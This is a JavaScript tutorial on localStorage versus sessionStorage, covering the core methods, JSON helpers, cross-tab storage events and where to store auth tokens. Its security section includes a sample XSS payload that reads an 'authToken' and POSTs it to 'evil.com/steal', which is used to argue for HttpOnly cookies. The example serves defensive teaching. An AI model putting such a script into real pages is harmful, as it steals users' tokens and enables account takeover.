LocalStorage vs SessionStorage

Data to store              Persist?   Shared?   Sensitive?   Best choice
─────────────────────────────────────────────────────────────────────────
Theme preference (dark)    Forever    Yes       No           LocalStorage
Language selection          Forever    Yes       No           LocalStorage
Form draft (unsaved)       Tab only   No        Maybe        SessionStorage
Checkout step number       Tab only   No        No           SessionStorage
Auth token (JWT)           Session    Yes       YES ⚠️       HttpOnly Cookie
Shopping cart              Forever    Yes       No           LocalStorage
Wizard/multi-step state    Tab only   No        No           SessionStorage
Feature flags              Forever    Yes       No           LocalStorage
Redirect URL after login   Tab only   No        No           SessionStorage
User profile cache         Forever    Yes       Maybe        LocalStorage (public data only)

// Store a value
localStorage.setItem("theme", "dark");

// Retrieve a value
const theme = localStorage.getItem("theme"); // "dark"

// Store an object (must serialize to string)
const prefs = { fontSize: 16, language: "en", sidebar: true };
localStorage.setItem("preferences", JSON.stringify(prefs));

// Retrieve and parse the object
const saved = JSON.parse(localStorage.getItem("preferences"));
console.log(saved.fontSize); // 16

// Remove a specific key
localStorage.removeItem("theme");

// Clear everything for this origin
localStorage.clear();

// Check how many items are stored
console.log(localStorage.length); // number of keys

// Store the current step in a multi-step form
sessionStorage.setItem("checkoutStep", "2");

// Retrieve it
const step = sessionStorage.getItem("checkoutStep"); // "2"

// Store temporary form data
const formDraft = { name: "Jane", email: "jane@example.com" };
sessionStorage.setItem("formDraft", JSON.stringify(formDraft));

// Retrieve and parse
const draft = JSON.parse(sessionStorage.getItem("formDraft"));
console.log(draft.name); // "Jane"

// Remove a specific key
sessionStorage.removeItem("checkoutStep");

// Clear everything for this tab
sessionStorage.clear();

// Behavior:
// - Close this tab → all sessionStorage data is gone
// - Open same URL in new tab → empty sessionStorage
// - Refresh this tab → sessionStorage is preserved ✅
// - Duplicate tab (Cmd+D) → new tab gets a COPY of sessionStorage

Scenario: User opens Tab A, stores data, then opens Tab B

LocalStorage:
  Tab A: localStorage.setItem("theme", "dark")
  Tab B: localStorage.getItem("theme") → "dark"  ✅ Shared!
  Close Tab A: data still exists
  Close Tab B: data still exists
  Restart browser: data still exists

SessionStorage:
  Tab A: sessionStorage.setItem("step", "3")
  Tab B: sessionStorage.getItem("step") → null  ❌ Not shared!
  Close Tab A: data is deleted
  Tab B: unaffected (has its own storage)
  Restart browser: all sessionStorage is gone

// ─── Core Methods (same for both) ───────────────

// setItem(key, value) — store a string value
localStorage.setItem("username", "jane_doe");
sessionStorage.setItem("currentStep", "2");

// getItem(key) — retrieve a value (returns null if not found)
const user = localStorage.getItem("username");     // "jane_doe"
const missing = localStorage.getItem("nonexistent"); // null

// removeItem(key) — delete a specific key
localStorage.removeItem("username");

// clear() — delete ALL keys for this origin
localStorage.clear();

// length — number of stored keys
console.log(localStorage.length);

// key(index) — get the key name at a given index
console.log(localStorage.key(0)); // first key name

// Web Storage only stores strings.
// For objects/arrays, use JSON.stringify and JSON.parse.

// ─── Safe Storage Helper ────────────────────────

function setJSON(storage, key, value) {
  try {
    storage.setItem(key, JSON.stringify(value));
  } catch (e) {
    // QuotaExceededError — storage is full
    console.error("Storage full:", e);
  }
}

function getJSON(storage, key, fallback = null) {
  try {
    const item = storage.getItem(key);
    return item ? JSON.parse(item) : fallback;
  } catch (e) {
    // Invalid JSON in storage
    console.error("Parse error:", e);
    return fallback;
  }
}

// Usage:
setJSON(localStorage, "cart", [
  { id: 1, name: "Shoes", qty: 2 },
  { id: 2, name: "Shirt", qty: 1 },
]);

const cart = getJSON(localStorage, "cart", []);
console.log(cart[0].name); // "Shoes"

// Always provide a fallback for missing/corrupt data
const prefs = getJSON(localStorage, "preferences", {
  theme: "light",
  fontSize: 14,
});

// The "storage" event fires in OTHER tabs when localStorage changes.
// It does NOT fire in the tab that made the change.
// SessionStorage does NOT trigger this event.

window.addEventListener("storage", (event) => {
  console.log("Key changed:", event.key);
  console.log("Old value:", event.oldValue);
  console.log("New value:", event.newValue);
  console.log("URL:", event.url);

  // React to theme change from another tab
  if (event.key === "theme") {
    document.body.className = event.newValue; // "dark" or "light"
  }
});

// Tab A: localStorage.setItem("theme", "dark");
// Tab B: storage event fires → { key: "theme", newValue: "dark" }
// Tab B can update its UI without polling or refreshing

// Theme toggle that syncs across all tabs

function setTheme(theme) {
  document.documentElement.setAttribute("data-theme", theme);
  localStorage.setItem("theme", theme);
}

// Apply saved theme on page load
const savedTheme = localStorage.getItem("theme") || "light";
setTheme(savedTheme);

// Listen for theme changes from other tabs
window.addEventListener("storage", (e) => {
  if (e.key === "theme" && e.newValue) {
    document.documentElement.setAttribute("data-theme", e.newValue);
  }
});

// Toggle button handler
themeButton.addEventListener("click", () => {
  const current = localStorage.getItem("theme") || "light";
  setTheme(current === "light" ? "dark" : "light");
});

// Result: click toggle in Tab A → Tab B, C, D all switch theme instantly

// Any JavaScript running on your page can read ALL of Web Storage.
// This includes:
//   - Your application code ✅
//   - Third-party scripts (analytics, ads, chat widgets) ⚠️
//   - Injected scripts from XSS vulnerabilities ❌

// If an attacker injects this script via XSS:
const token = localStorage.getItem("authToken");
fetch("https://evil.com/steal", {
  method: "POST",
  body: JSON.stringify({ token }),
});

// The attacker now has the user's auth token.
// They can impersonate the user, access their account,
// and perform any action the token allows.

// This applies to BOTH localStorage AND sessionStorage.
// There is no way to protect Web Storage from JavaScript access.

Where should you store auth tokens (JWT)?

Option 1: LocalStorage
  ✅ Easy to use — just setItem/getItem
  ✅ Persists across tabs and sessions
  ❌ XSS can steal the token
  ❌ Token stays forever until you remove it
  → Use only if XSS risk is very low and convenience matters

Option 2: SessionStorage
  ✅ Cleared on tab close (limits exposure window)
  ❌ XSS can still steal it while the tab is open
  ❌ User must re-login in every new tab
  → Slightly better than LocalStorage, but still vulnerable

Option 3: HttpOnly Cookie (RECOMMENDED)
  ✅ Invisible to JavaScript — XSS cannot read it
  ✅ Sent automatically with requests (no manual header)
  ✅ Can set Secure, SameSite, and expiration
  ❌ Vulnerable to CSRF (mitigate with SameSite + CSRF tokens)
  ❌ Slightly more complex server setup
  → Best option for auth tokens in most applications

Option 4: In-memory variable (most secure, least convenient)
  ✅ Not persisted anywhere — gone on refresh
  ✅ XSS can't read it from storage
  ❌ Lost on page refresh — user must re-authenticate
  → Use for highest-security applications (banking)